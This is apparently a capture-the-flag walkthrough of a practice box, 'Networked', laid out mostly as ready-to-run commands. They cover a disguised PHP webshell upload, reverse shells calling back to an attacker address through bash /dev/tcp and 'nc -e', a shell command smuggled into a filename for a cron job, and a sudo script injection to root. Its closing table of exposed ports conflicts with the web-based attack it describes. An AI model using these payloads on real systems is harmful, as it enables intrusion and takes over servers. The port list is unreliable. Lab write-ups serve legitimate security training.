Networked
Summary
I discovered a PHP file-upload page whose only validation was file extension and MIME type. By uploading a PHP webshell renamed with a double extension (shell.php.png) and a GIF magic-byte header, both checks were bypassed and the Apache server executed the embedded PHP code.
A cron job owned by a local user (guly) processed filenames in the uploads directory by passing them to a shell call without any sanitisation, so a file whose name contained a semicolon followed by a shell command ran arbitrary code as that user. Finally, guly held a passwordless sudo right to a network-configuration script that sourced interface parameters verbatim as shell variables; injecting a command into the NAME prompt escalated privileges to root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Full TCP scan with service and version detection.
$ nmap -sV -sC -p- --min-rate 3000 $TARGET -oN nmap_full.txtDiscover upload.php, photos.php, and the /uploads/ storage directory.
$ gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txtExact commands 3
Craft the payload: GIF magic bytes satisfy the MIME check; .php.png passes the extension whitelist while mod_php still executes it.
$ printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.php.pngSubmit the crafted file. Confirm the server reports a successful upload.
$ curl -s -F 'myFile=@shell.php.png;type=image/gif' -F 'submit=go' http://$TARGET/upload.phpTrigger execution. Expect 'uid=48(apache)' in the response, confirming RCE.
$ curl -s "http://$TARGET/uploads/shell.php.png?cmd=id"FixValidate uploaded file content and serve uploads from a PHP-execution-free locationCritical
Exact commands 2
Start a listener on your attack machine. Substitute your HTB VPN IP for $ATTACKER_IP in the next command.
$ nc -lvnp 4444Trigger the callback through the webshell's cmd parameter.
$ curl -s -G "http://$TARGET/uploads/shell.php.png" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'Exact commands 3
Run from the apache shell. Substitute your HTB VPN IP. If nc lacks -e, use: touch '/var/www/html/uploads/;bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" .php'
$ touch "/var/www/html/uploads/;nc $ATTACKER_IP 4445 -e /bin/bash .php"Wait up to ~3 minutes for guly's cron job to fire and connect back.
$ nc -lvnp 4445Retrieve the user flag — value: <user.txt>
$ cat /home/guly/user.txtFixSanitise filenames before passing them to shell calls in check_attack.phpHigh
Exact commands 3
Confirm the relevant entry: (root) NOPASSWD: /usr/local/sbin/changename.sh
$ sudo -lLaunch the script. At the NAME prompt type: guly bash — the shell splits on the space and executes 'bash' as root. Enter any values for the remaining prompts (e.g. ONBOOT=yes, BOOTPROTO=none, IPADDR=<an-address-on-that-network>).
$ sudo /usr/local/sbin/changename.shRun inside the spawned root shell to confirm uid=0 and capture the root flag: <root.txt>
$ id && cat /root/root.txtFixRemove or harden the passwordless sudo right to changename.shCritical
Exposed services
| 445/tcp | microsoft-ds? |
| 4386/tcp | unknown |